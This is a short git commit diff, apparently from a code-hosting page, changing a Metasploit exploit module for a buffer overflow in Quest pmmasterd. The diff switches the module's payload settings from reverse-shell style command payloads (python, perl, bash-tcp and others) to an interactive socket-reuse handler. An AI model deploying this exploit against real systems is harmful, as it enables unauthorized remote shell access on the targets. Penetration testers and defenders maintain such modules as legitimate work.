Convert quest_pmmasterd_bof to cmd_interact/find
parent
9aba360f2b
commit
d659cdc8f6
|
@ -39,8 +39,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find'
|
||||
}
|
||||
},
|
||||
'Arch' => ARCH_CMD,
|
||||
|
@ -97,8 +97,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("Sending trigger")
|
||||
sock.put(request)
|
||||
sock.get_once
|
||||
print_status("Sending payload")
|
||||
sock.put(payload.encoded)
|
||||
handler(sock)
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue